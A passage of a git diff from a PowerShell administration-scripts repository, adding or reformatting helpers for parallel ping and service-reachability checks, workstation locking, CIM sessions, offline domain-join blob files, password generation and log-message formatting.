inputObject is bound get a total count and set bound to true + $global:__bound = $false + $allObjects = @() + if ($PSBoundParameters.ContainsKey("inputObject")) { + $global:__bound = $true + } + + #Set up log file if specified + if ($LogFile) { + New-Item -ItemType file -path $logFile -force | Out-Null + ("" | Select-Object Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile + } + + #write initial log entry + $log = "" | Select-Object Date, Action, Runtime, Status, Details + $log.Date = Get-Date + $log.Action = "Batch processing started" + $log.Runtime = $null + $log.Status = "Started" + $log.Details = $null + if ($logFile) { + ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append + } + + $timedOutTasks = $false + + #endregion INIT + } + + Process { + + #add piped objects to all objects or set all objects to bound input object parameter + if (-not $global:__bound) { + $allObjects += $inputObject + } + else { + $allObjects = $InputObject + } + } + + End { + + #Use Try/Finally to catch Ctrl+C and clean up. + Try { + #counts for progress + $totalCount = $allObjects.count + $script:completedCount = 0 + $startedCount = 0 + + foreach ($object in $allObjects) { + + #region add scripts to runspace pool + + #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters + $powershell = [powershell]::Create() + + if ($VerbosePreference -eq 'Continue') { + [void]$PowerShell.AddScript( { $VerbosePreference = 'Continue' }) + } + + [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) + + if ($parameter) { + [void]$PowerShell.AddArgument($parameter) + } + + # $Using support from Boe Prox + if ($UsingVariableData) { + Foreach ($UsingVariable in $UsingVariableData) { + Write-Verbose -Message "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" + [void]$PowerShell.AddArgument($UsingVariable.Value) + } + } + + #Add the runspace into the powershell instance + $powershell.RunspacePool = $runspacepool + + #Create a temporary collection for each runspace + $temp = "" | Select-Object PowerShell, StartTime, object, Runspace + $temp.PowerShell = $powershell + $temp.StartTime = Get-Date + $temp.object = $object + + #Save the handle output when calling BeginInvoke() that will be used later to end the runspace + $temp.Runspace = $powershell.BeginInvoke() + $startedCount++ + + #Add the temp tracking info to $runspaces collection + Write-Verbose ("Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring()) + $runspaces.Add($temp) | Out-Null + + #loop through existing runspaces one time + Get-RunspaceData + + #If we have more running than max queue (used to control timeout accuracy) + #Script scope resolves odd PowerShell 2 issue + $firstRun = $true + while ($runspaces.count -ge $Script:MaxQueue) { + + #give verbose output + if ($firstRun) { + Write-Verbose -Message "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." + } + $firstRun = $false + + #run get-runspace data and sleep for a short while + Get-RunspaceData + Start-Sleep -Milliseconds $sleepTimer + + } + + #endregion add scripts to runspace pool + } + + Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where-Object -FilterScript { $null -ne $_.Runspace }).Count)) + Get-RunspaceData -wait + + if (-not $quiet) { + Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed + } + + } + Finally { + #Close the runspace pool, unless we specified no close on timeout and something timed out + if (($timedOutTasks -eq $false) -or (($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false))) { + Write-Verbose -Message "Closing the runspace pool" + $runspacepool.close() + } + + #collect garbage + [gc]::Collect() + } + } + } + + Write-Verbose -Message "PSBoundParameters = $($PSBoundParameters | Out-String)" + + $bound = $PSBoundParameters.keys -contains "ComputerName" + if (-not $bound) { + [System.Collections.ArrayList]$AllComputers = @() + } + } + Process { + + #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work + if ($bound) { + $AllComputers = $ComputerName + } + Else { + foreach ($Computer in $ComputerName) { + $AllComputers.add($Computer) | Out-Null + } + } + + } + End { + + #Built up the parameters and run everything in parallel + $params = @($Detail, $Quiet) + $splat = @{ + Throttle = $Throttle + RunspaceTimeout = $Timeout + InputObject = $AllComputers + parameter = $params + } + if ($NoCloseOnTimeout) { + $splat.add('NoCloseOnTimeout', $True) + } + + Invoke-Parallel @splat -ScriptBlock { + + $computer = $_.trim() + $detail = $parameter[0] + $quiet = $parameter[1] + + #They want detail, define and run test-server + if ($detail) { + Try { + #Modification of jrich's Test-Server function: https://gallery.technet.microsoft.com/scriptcenter/Powershell-Test-Server-e0cdea9a + Function Test-Server { + [cmdletBinding()] + param ( + [parameter( + Mandatory = $true, + ValueFromPipeline = $true)] + [string[]]$ComputerName, + + [switch]$All, + + [parameter(Mandatory = $false)] + [switch]$CredSSP, + + [switch]$RemoteReg, + + [switch]$RDP, + + [switch]$RPC, + + [switch]$SMB, + + [switch]$WSMAN, + + [switch]$IPV6, + + [Management.Automation.PSCredential]$Credential + ) + begin { + $total = Get-Date + $results = @() + if ($credssp -and -not $Credential) { + Throw "Must supply Credentials with CredSSP test" + } + + [string[]]$props = Write-Output Name, IP, Domain, Ping, WSMAN, CredSSP, RemoteReg, RPC, RDP, SMB + + #Hash table to create PSObjects later, compatible with ps2... + $Hash = @{ } + foreach ($prop in $props) { + $Hash.Add($prop, $null) + } + + function Test-Port { + [cmdletbinding()] + Param ( + [string]$srv, + + $port = 135, + + $timeout = 3000 + ) + $ErrorActionPreference = "SilentlyContinue" + $tcpclient = New-Object -TypeName system.Net.Sockets.TcpClient + $iar = $tcpclient.BeginConnect($srv, $port, $null, $null) + $wait = $iar.AsyncWaitHandle.WaitOne($timeout, $false) + if (-not $wait) { + $tcpclient.Close() + Write-Verbose -Message "Connection Timeout to $srv`:$port" + $false + } + else { + Try { + $tcpclient.EndConnect($iar) | Out-Null + $true + } + Catch { + Write-Verbose -Message "Error for $srv`:$port`: $_" + $false + } + $tcpclient.Close() + } + } + } + + process { + foreach ($name in $computername) { + $dt = $cdt = Get-Date + Write-Verbose -Message "Testing: $Name" + $failed = 0 + try { + $DNSEntity = [Net.Dns]::GetHostEntry($name) + $domain = ($DNSEntity.hostname).replace("$name.", "") + $ips = $DNSEntity.AddressList | ForEach-Object -Process { + if (-not (-not $IPV6 -and $_.AddressFamily -like "InterNetworkV6")) { + $_.IPAddressToString + } + } + } + catch { + $rst = New-Object -TypeName PSObject -Property $Hash | Select-Object -Property $props + $rst.name = $name + $results += $rst + $failed = 1 + } + Write-Verbose -Message "DNS: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + if ($failed -eq 0) { + foreach ($ip in $ips) { + + $rst = New-Object -TypeName PSObject -Property $Hash | Select-Object -Property $props + $rst.name = $name + $rst.ip = $ip + $rst.domain = $domain + + if ($RDP -or $All) { + ####RDP Check (firewall may block rest so do before ping + try { + $socket = New-Object -TypeName Net.Sockets.TcpClient -ArgumentList $name,3389 -ErrorAction stop + if ($null -eq $socket) { + $rst.RDP = $false + } + else { + $rst.RDP = $true + $socket.close() + } + } + catch { + $rst.RDP = $false + Write-Verbose -Message "Error testing RDP: $_" + } + } + Write-Verbose -Message "RDP: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + #########ping + if (Test-Connection $ip -count 2 -Quiet) { + Write-Verbose -Message "PING: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + $rst.ping = $true + + if ($WSMAN -or $All) { + try { + ############wsman + Test-WSMan $ip -ErrorAction stop | Out-Null + $rst.WSMAN = $true + } + catch { + $rst.WSMAN = $false + Write-Verbose -Message "Error testing WSMAN: $_" + } + Write-Verbose -Message "WSMAN: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + if ($rst.WSMAN -and $credssp) { + ########### credssp + try { + Test-WSMan $ip -Authentication Credssp -Credential $cred -ErrorAction stop + $rst.CredSSP = $true + } + catch { + $rst.CredSSP = $false + Write-Verbose -Message "Error testing CredSSP: $_" + } + Write-Verbose -Message "CredSSP: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + } + } + if ($RemoteReg -or $All) { + try { + ########remote reg + [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $ip) | Out-Null + $rst.remotereg = $true + } + catch { + $rst.remotereg = $false + Write-Verbose -Message "Error testing RemoteRegistry: $_" + } + Write-Verbose -Message "remote reg: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + } + if ($RPC -or $All) { + try { + ######### wmi + $w = [wmi] '' + $w.psbase.options.timeout = 15000000 + $w.path = "\\$Name\root\cimv2:Win32_ComputerSystem.Name='$Name'" + $w | Select-Object none | Out-Null + $rst.RPC = $true + } + catch { + $rst.rpc = $false + Write-Verbose -Message "Error testing WMI/RPC: $_" + } + Write-Verbose -Message "WMI/RPC: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + } + if ($SMB -or $All) { + + #Use set location and resulting errors. push and pop current location + try { + ######### C$ + $path = "\\$name\c$" + Push-Location -Path $path -ErrorAction stop + $rst.SMB = $true + Pop-Location + } + catch { + $rst.SMB = $false + Write-Verbose -Message "Error testing SMB: $_" + } + Write-Verbose -Message "SMB: $((New-TimeSpan $dt ($dt = Get-Date)).totalseconds)" + + } + } + else { + $rst.ping = $false + $rst.wsman = $false + $rst.credssp = $false + $rst.remotereg = $false + $rst.rpc = $false + $rst.smb = $false + } + $results += $rst + } + } + Write-Verbose -Message "Time for $($Name): $((New-TimeSpan $cdt ($dt)).totalseconds)" + Write-Verbose -Message "----------------------------" + } + } + end { + Write-Verbose -Message "Time for all: $((New-TimeSpan $total ($dt)).totalseconds)" + Write-Verbose -Message "----------------------------" + return $results + } + } + + #Build up parameters for Test-Server and run it + $TestServerParams = @{ + ComputerName = $Computer + ErrorAction = "Stop" + } + + if ($detail -eq "*") { + $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" + } + + $detail | Select-Object -Unique | ForEach-Object -Process { $TestServerParams.add($_, $True) } + Test-Server @TestServerParams | Select-Object -Property $("Name", "IP", "Domain", "Ping" + $detail) + } + Catch { + Write-Warning "Error with Test-Server: $_" + } + } + #We just want ping output + else { + Try { + #Pick out a few properties, add a status label. If quiet output, just return the address + $result = $null + if ($result = @(Test-Connection -ComputerName $computer -Count 2 -erroraction Stop)) { + $Output = $result | Select-Object -first 1 -Property Address, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { "Responding" } } + + if ($quiet) { + $Output.address + } + else { + $Output + } + } + } + Catch { + if (-not $quiet) { + #Ping failed. I'm likely making inappropriate assumptions here, let me know if this is the case : ) + if ($_ -match "No such host is known") { + $status = "Unknown host" + } + elseif ($_ -match "Error due to lack of resources") { + $status = "No Response" + } + else { + $status = "Error: $_" + } + + "" | Select-Object -Property @{ label = "Address"; expression = { $computer } }, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { $status } } + } + } + } + } + } +} diff --git a/TOOL-Lock-Computer/Lock-Computer.ps1 b/TOOL-Lock-Computer/Lock-Computer.ps1 new file mode 100644 index 00000000..e2a8bc79 --- /dev/null +++ b/TOOL-Lock-Computer/Lock-Computer.ps1 @@ -0,0 +1,23 @@ +Function Lock-Computer { + <# +.DESCRIPTION + Function to Lock your computer +.SYNOPSIS + Function to Lock your computer. + This is using the win32 user32.dll library. +.EXAMPLE + Lock-Computer + + This will lock the current computer +.LINK + https://github.com/lazywinadmin/PowerShell +#> + + $signature = @" +[DllImport("user32.dll", SetLastError = true)] +public static extern bool LockWorkStation(); +"@ + + $LockComputer = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru + $LockComputer::LockWorkStation() | Out-Null +} \ No newline at end of file diff --git a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 index 2e096a77..959358cb 100644 --- a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 +++ b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 @@ -1,115 +1,106 @@ -function New-CimSmartSession -{ -<# -.SYNOPSIS +function New-CimSmartSession { + <# +.SYNOPSIS Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. - -.DESCRIPTION + +.DESCRIPTION Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. - This function requires at least PowerShell v3. - -.PARAMETER ComputerName - Specifies the ComputerName - -.PARAMETER Credential + This function requires at least PowerShell v3. + +.PARAMETER ComputerName + Specifies the ComputerName + +.PARAMETER Credential Specifies alternative credentials - -.EXAMPLE + +.EXAMPLE New-CimSmartSession -ComputerName DC01,DC02 - -.EXAMPLE + +.EXAMPLE $Session = New-CimSmartSession -ComputerName DC01 -Credential (Get-Credential -Credential "FX\SuperAdmin") - New-CimInstance -CimSession $Session -Class Win32_Bios - -.NOTES + New-CimInstance -CimSession $Session -Class Win32_Bios + +.NOTES Francois-Xavier Cat - lazywinadmin.com - @lazywinadm + lazywinadmin.com + @lazywinadmin + +.LINK + https://github.com/lazywinadmin/PowerShell #> - #Requires -Version 3.0 - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline = $true)] - [string[]]$ComputerName = $env:COMPUTERNAME, - - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - BEGIN - { - # Default Verbose/Debug message - function Get-DefaultMessage - { - <# - .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING. - Typically called inside another function in the BEGIN Block - #> - PARAM ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - - # Create a containter (hashtable) for the properties (Splatting) - $CIMSessionSplatting = @{ } - - # Credential specified - IF ($PSBoundParameters['Credential']) { $CIMSessionSplatting.Credential = $Credential } - - # CIMSession Option for DCOM (Default is WSMAN) - $CIMSessionOption = New-CimSessionOption -Protocol Dcom - } - - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $CIMSessionSplatting.ComputerName = $Computer - - - # WSMAN Protocol - IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') - { - TRY - { - #WSMAN (Default when using New-CimSession) - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using WSMAN protocol (Default, requires at least PowerShell v3.0)") - New-CimSession @CIMSessionSplatting -errorVariable ErrorProcessNewCimSessionWSMAN - } - CATCH - { - IF ($ErrorProcessNewCimSessionWSMAN) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't Connect using WSMAN protocol") } - Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) - } - } - - ELSE - { - # DCOM Protocol - $CIMSessionSplatting.SessionOption = $CIMSessionOption - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using DCOM protocol") - New-CimSession @SessionParams -errorVariable ErrorProcessNewCimSessionDCOM - } - CATCH - { - IF ($ErrorProcessNewCimSessionDCOM) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't connect using DCOM protocol either") } - Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) - } - FINALLY - { - # Remove the CimSessionOption for the DCOM protocol for the next computer - $CIMSessionSplatting.Remove('CIMSessionOption') - } - }#ELSE - }#Test-Connection - }#FOREACH - }#PROCESS + #Requires -Version 3.0 + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline = $true)] + [string[]]$ComputerName = $env:COMPUTERNAME, + + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + BEGIN { + # Default Verbose/Debug message + function Get-DefaultMessage { + <# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING. + Typically called inside another function in the BEGIN Block + #> + PARAM ($Message) + Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" + }#Get-DefaultMessage + + # Create a containter (hashtable) for the properties (Splatting) + $CIMSessionSplatting = @{ } + + # Credential specified + IF ($PSBoundParameters['Credential']) { $CIMSessionSplatting.Credential = $Credential } + + # CIMSession Option for DCOM (Default is WSMAN) + $CIMSessionOption = New-CimSessionOption -Protocol Dcom + } + + PROCESS { + FOREACH ($Computer in $ComputerName) { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { + $CIMSessionSplatting.ComputerName = $Computer + + + # WSMAN Protocol + IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') { + TRY { + #WSMAN (Default when using New-CimSession) + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using WSMAN protocol (Default, requires at least PowerShell v3.0)") + New-CimSession @CIMSessionSplatting -errorVariable ErrorProcessNewCimSessionWSMAN + } + CATCH { + IF ($ErrorProcessNewCimSessionWSMAN) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't Connect using WSMAN protocol") } + Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) + } + } + + ELSE { + # DCOM Protocol + $CIMSessionSplatting.SessionOption = $CIMSessionOption + + TRY { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using DCOM protocol") + New-CimSession @SessionParams -errorVariable ErrorProcessNewCimSessionDCOM + } + CATCH { + IF ($ErrorProcessNewCimSessionDCOM) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't connect using DCOM protocol either") } + Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) + } + FINALLY { + # Remove the CimSessionOption for the DCOM protocol for the next computer + $CIMSessionSplatting.Remove('CIMSessionOption') + } + }#ELSE + }#Test-Connection + }#FOREACH + }#PROCESS }#Function \ No newline at end of file diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 new file mode 100644 index 00000000..7299456a --- /dev/null +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -0,0 +1,70 @@ +function New-DjoinFile { + <# + .SYNOPSIS + Function to generate a blob file accepted by djoin.exe tool (offline domain join) + + .DESCRIPTION + Function to generate a blob file accepted by djoin.exe tool (offline domain join) + + This function can create a file compatible with djoin with the Blob initially provisionned. + + .PARAMETER Blob + Specifies the blob generated by djoin + + .PARAMETER DestinationFile + Specifies the full path of the file that will be created + + Default is c:\temp\djoin.tmp + + .EXAMPLE + New-DjoinFile -Blob $Blob -DestinationFile C:\temp\test.tmp + + .NOTES + Francois-Xavier.Cat + LazyWinAdmin.com + @lazywinadmin + github.com/lazywinadmin + + .LINK + https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile + .LINK + https://lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html + .LINK + https://msdn.microsoft.com/en-us/library/system.io.fileinfo(v=vs.110).aspx + #> + [Cmdletbinding()] + PARAM ( + [Parameter(Mandatory = $true)] + [System.String]$Blob, + [Parameter(Mandatory = $true)] + [System.IO.FileInfo]$DestinationFile = "c:\temp\djoin.tmp" + ) + + PROCESS { + TRY { + # Create a byte object + $bytechain = New-Object -TypeName byte[] -ArgumentList 2 + # Add the first two character for Unicode Encoding + $bytechain[0] = 255 + $bytechain[1] = 254 + + # Creates a write-only FileStream + $FileStream = $DestinationFile.Openwrite() + + # Append Hash as byte + $bytechain += [System.Text.Encoding]::unicode.GetBytes($Blob) + # Append two extra 0 bytes characters + $bytechain += 0 + $bytechain += 0 + + # Write back to the file + $FileStream.write($bytechain, 0, $bytechain.Length) + + # Close the file Stream + $FileStream.Close() + } + CATCH { + $Error[0] + } + } +} \ No newline at end of file diff --git a/TOOL-New-DjoinFile/README.md b/TOOL-New-DjoinFile/README.md new file mode 100644 index 00000000..f4398ce7 --- /dev/null +++ b/TOOL-New-DjoinFile/README.md @@ -0,0 +1,25 @@ +[NewDjoinFile01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-New-DjoinFile/media/New-DjoinFile01.png +New-DjoinFile +=================== +## Related Article(s) +[Blog article on lazywinadmin.com](http://www.lazywinadmin.com/2016/07/offline-domain-join-recreating-blob.html) + +## Description + +The New-DjoinFile function create a Blob file from the String Generated by Djoin. +This blob file can then be passed to djoin to join the machine to the Active Directory domain. + +## Usage + +```PowerShell +# Load the function (Dot Sourcing) +. C:\MyScripts\New-DjoinFile.ps1 + +# Blob generated +$Blob = "" + +# Recreate djoin file +New-DjoinFile -Blob $blob -DestinationFile $home\desktop\blob.txt -Verbose +``` + +![alt text][NewDjoinFile01] diff --git a/TOOL-New-DjoinFile/media/New-DjoinFile01.png b/TOOL-New-DjoinFile/media/New-DjoinFile01.png new file mode 100644 index 00000000..708c910b Binary files /dev/null and b/TOOL-New-DjoinFile/media/New-DjoinFile01.png differ diff --git a/TOOL-New-Password/New-Password.ps1 b/TOOL-New-Password/New-Password.ps1 index ed939a1b..5ed7ea70 100644 --- a/TOOL-New-Password/New-Password.ps1 +++ b/TOOL-New-Password/New-Password.ps1 @@ -1,96 +1,92 @@ -function New-Password -{ -<# - .SYNOPSIS - Function to Generate a new password. - - .DESCRIPTION - Function to Generate a new password. - By default it will generate a 12 characters length password, you can change this using the parameter Length. - I excluded the following characters: ",',.,/,1,<,>,`,O,0,l,| +function New-Password { + <# + .SYNOPSIS + Function to Generate a new password. + + .DESCRIPTION + Function to Generate a new password. + By default it will generate a 12 characters length password, you can change this using the parameter Length. + I excluded the following characters: ",',.,/,1,<,>,`,O,0,l,| Some of those are ambiguous characters like 1 or l or | - You can add exclusion by checking the following ASCII Table http://www.asciitable.com/ - - If the length requested is less or equal to 4, it will generate a random password. - If the length requested is greater than 4, it will make sure the password contains an Upper and Lower case letter, a Number and a special character - - .PARAMETER Length - Specifies the length of the password. + You can add exclusion by checking the following ASCII Table http://www.asciitable.com/ + + If the length requested is less or equal to 4, it will generate a random password. + If the length requested is greater than 4, it will make sure the password contains an Upper and Lower case letter, a Number and a special character + + .PARAMETER Length + Specifies the length of the password. Default is 12 characters .PARAMETER Count Specifies how many password you want to output. Default is 1 password. - - .EXAMPLE - PS C:\> New-Password -Length 30 - - =E)(72&:f\W6:VRGE(,t1x6sZi-346 + + .EXAMPLE + PS C:\> New-Password -Length 30 + + =E)(72&:f\W6:VRGE(,t1x6sZi-346 .EXAMPLE PS C:\> New-Password 3 - + !}R - - .NOTES - See ASCII Table http://www.asciitable.com/ - Code based on a blog post of https://mjolinor.wordpress.com/2014/01/31/random-password-generator/ + + .NOTES + See ASCII Table http://www.asciitable.com/ + Code based on a blog post of https://mjolinor.wordpress.com/2014/01/31/random-password-generator/ + + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM - ( - [ValidateNotNull()] - [int]$Length = 12, - [ValidateRange(1,256)] + [CmdletBinding()] + PARAM + ( + [ValidateNotNull()] + [int]$Length = 12, + [ValidateRange(1, 256)] [Int]$Count = 1 - )#PARAM - - BEGIN - { - # Create ScriptBlock with the ASCII Char Codes - $PasswordCharCodes = { 33..126 }.invoke() - - + )#PARAM + + BEGIN { + # Create ScriptBlock with the ASCII Char Codes + $PasswordCharCodes = { 33..126 }.invoke() + + # Exclude some ASCII Char Codes from the ScriptBlock # Excluded characters are ",',.,/,1,<,>,`,O,0,l,| - # See http://www.asciitable.com/ for mapping - 34, 39, 46, 47, 49, 60, 62, 96, 48, 79, 108, 124 | ForEach-Object { [void]$PasswordCharCodes.Remove($_) } - $PasswordChars = [char[]]$PasswordCharCodes - }#BEGIN - - PROCESS - { - 1..$count | ForEach-Object { + # See http://www.asciitable.com/ for mapping + 34, 39, 46, 47, 49, 60, 62, 96, 48, 79, 108, 124 | ForEach-Object -Process { [void]$PasswordCharCodes.Remove($_) } + $PasswordChars = [char[]]$PasswordCharCodes + }#BEGIN + + PROCESS { + 1..$count | ForEach-Object -Process { # Password of 4 characters or longer - IF ($Length -gt 4) - { - - DO - { - # Generate a Password of the length requested - $NewPassWord = $(foreach ($i in 1..$length) { Get-Random -InputObject $PassWordChars }) -join '' - }#Do - UNTIL ( - # Make sure it contains an Upercase and Lowercase letter, a number and another special character - ($NewPassword -cmatch '[A-Z]') -and - ($NewPassWord -cmatch '[a-z]') -and - ($NewPassWord -imatch '[0-9]') -and - ($NewPassWord -imatch '[^A-Z0-9]') - )#Until - }#IF + IF ($Length -gt 4) { + + DO { + # Generate a Password of the length requested + $NewPassWord = $(foreach ($i in 1..$length) { Get-Random -InputObject $PassWordChars }) -join '' + }#Do + UNTIL ( + # Make sure it contains an Upercase and Lowercase letter, a number and another special character + ($NewPassword -cmatch '[A-Z]') -and + ($NewPassWord -cmatch '[a-z]') -and + ($NewPassWord -imatch '[0-9]') -and + ($NewPassWord -imatch '[^A-Z0-9]') + )#Until + }#IF # Password Smaller than 4 characters - ELSE - { - $NewPassWord = $(foreach ($i in 1..$length) { Get-Random -InputObject $PassWordChars }) -join '' - }#ELSE - - # Output a new password - Write-Output $NewPassword + ELSE { + $NewPassWord = $(foreach ($i in 1..$length) { Get-Random -InputObject $PassWordChars }) -join '' + }#ELSE + + # Output a new password + Write-Output $NewPassword } - } #PROCESS - END - { + } #PROCESS + END { # Cleanup - Remove-Variable -Name NewPassWord -ErrorAction 'SilentlyContinue' - } #END -} #Function \ No newline at end of file + Remove-Variable -Name NewPassWord -ErrorAction 'SilentlyContinue' + } #END +} #Function diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 new file mode 100644 index 00000000..5e0a0915 --- /dev/null +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -0,0 +1,62 @@ +function New-RandomPassword { + <# +.SYNOPSIS + Function to generate a complex and random password +.DESCRIPTION + Function to generate a complex and random password + + This is using the GeneratePassword method from the + system.web.security.membership NET Class. + + https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.100).aspx + +.PARAMETER Length + The number of characters in the generated password. The length must be between 1 and 128 characters. + Default is 12. + +.PARAMETER NumberOfNonAlphanumericCharacters + The minimum number of non-alphanumeric characters (such as @, #, !, %, &, and so on) in the generated password. + Default is 5. + +.PARAMETER Count + Specifies how many password you want. Default is 1 + +.EXAMPLE + New-RandomPassword + []sHX@]W#w-{ +.EXAMPLE + New-RandomPassword -Length 8 -NumberOfNonAlphanumericCharacters 2 + v@Warq_6 +.EXAMPLE + New-RandomPassword -Count 5 + *&$6&d1[f8zF + Ns$@[lRH{;f4 + ;G$Su^M$bS+W + mgZ/{y8}I@-t + **W.)60kY4$V +.NOTES + francois-xavier.cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ( + [Int32]$Length = 12, + + [Int32]$NumberOfNonAlphanumericCharacters = 5, + + [Int32]$Count = 1 + ) + + BEGIN { + Add-Type -AssemblyName System.web; + } + + PROCESS { + 1..$Count | ForEach-Object -Process { + [System.Web.Security.Membership]::GeneratePassword($Length, $NumberOfNonAlphanumericCharacters) + } + } +} \ No newline at end of file diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 new file mode 100644 index 00000000..588d5075 --- /dev/null +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -0,0 +1,84 @@ +function New-ScriptMessage { + <# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages + + .PARAMETER Message + Specifies the message to show + + .PARAMETER Block + Specifies the Block where the message is coming from. + + .PARAMETER DateFormat + Specifies the format of the date. + Default is 'yyyy\/MM\/dd HH:mm:ss:ff' For example: 2016/04/20 23:33:46:78 + + .PARAMETER FunctionScope + Valid values are "Global", "Local", or "Script", or a number relative to the current scope (0 through the number of scopes, where 0 is the current scope and 1 is its parent). "Local" is the default + + See also: About_scopes https://technet.microsoft.com/en-us/library/hh847849.aspx + + Example: + 0 is New-ScriptMessage + 1 is the function calling New-ScriptMessage + 2 is for example the script/function calling the function which call New-ScriptMessage + etc... + + .EXAMPLE + New-ScriptMessage -Message "Francois-Xavier" -Block PROCESS -Verbose -FunctionScope 0 + + [2016/04/20 23:33:46:78][New-ScriptMessage][PROCESS] Francois-Xavier + + .EXAMPLE + New-ScriptMessage -message "Connected" + + if the function is just called from the prompt you will get the following output + [2015/03/14 17:32:53:62] Connected + + .EXAMPLE + New-ScriptMessage -message "Connected to $Computer" -FunctionScope 1 + + If the function is called from inside another function, + It will show the name of the function. + [2015/03/14 17:32:53:62][Get-Something] Connected + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + [OutputType([string])] + param + ( + [String]$Message, + [String]$Block, + [String]$DateFormat = 'yyyy\/MM\/dd HH:mm:ss:ff', + $FunctionScope = "1" + ) + + PROCESS { + $DateFormat = Get-Date -Format $DateFormat + $MyCommand = (Get-Variable -Scope $FunctionScope -Name MyInvocation -ValueOnly).MyCommand.Name + IF ($MyCommand) { + $String = "[$DateFormat][$MyCommand]" + } #IF + ELSE { + $String = "[$DateFormat]" + } #Else + + IF ($PSBoundParameters['Block']) { + $String += "[$Block]" + } + Write-Output "$String $Message" + } #Process +} diff --git 